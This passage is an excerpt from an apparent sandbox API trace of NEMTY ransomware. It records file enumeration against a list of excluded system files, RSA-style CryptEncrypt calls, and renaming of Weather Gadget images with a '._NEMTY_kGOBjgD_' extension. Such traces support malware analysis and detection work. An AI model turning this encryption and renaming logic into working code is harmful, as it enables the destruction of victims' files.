lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.964] CloseHandle (hObject=0xffffffff) returned 0 [0166.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340400 [0166.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404d8 [0166.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-crescent.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-crescent.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-crescent.png._nemty_kgobjgd_")) returned 0 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0166.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.965] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ddc5e8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ddc5e8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315d4d39, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6469, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2=".") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="..") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="...") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="windows") returned -1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="rsa") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="ntldr") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0166.965] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="bootmgr") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="programdata") returned 1 [0166.966] lstrcmpiW (lpString1="undocked_black_moon-waning-crescent_partly-cloudy.png", lpString2="appdata") returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345da8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340290 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345da8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345da8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0166.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-crescent_partly-cloudy.png", cchWideChar=53, lpMultiByteStr=0x6345d60, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-crescent_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 53 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340290 [0166.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0166.967] Sleep (dwMilliseconds=0x5) [0166.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x172cc2b0, dwHighDateTime=0x1d561e8)) [0166.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x172cc2b0, dwHighDateTime=0x1d561e8)) [0166.980] GetLastError () returned 0x5 [0166.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0166.980] GetLastError () returned 0x5 [0166.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0166.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.980] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.980] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.981] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340388 [0166.981] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340388, pcchString=0x653e91c | out: pszString="kBmu5T0i8ZYGoGlQpq3576Yb01LWIhxdqhp36dS8/fIrqAWOklkeNH3f+tZjcTCw\r\nmJiqr7ZDBgDzNahhNqjqFvAuh32rOcIZ3rwOuRCHaI5orDWUVEhCEijCnO/DxFwY\r\nWwqpZxUJELLFPxBiyGl7Nv6/4iO8qc5HmJ8p5ChSY7XczkWR9Aq4dajf+Isev1S2\r\niMhLLDkBYeCTbCtBWE3FOF73rDg0465A2QA0Ps3s3kJ5Prpnbon7kG97woTpnYHN\r\nE/i40WrgblUvjfKYn5C6UC12W7J+/5fl4WUqrgqYbAMWulIbk8Nsf7OiLSezt5Rp\r\nOK6B4hQ+g6riZhtWjPhHRg==\r\n", pcchString=0x653e91c) returned 1 [0166.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340388 | out: hHeap=0x4f90000) returned 1 [0166.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340388 [0166.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.981] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-crescent_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.982] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 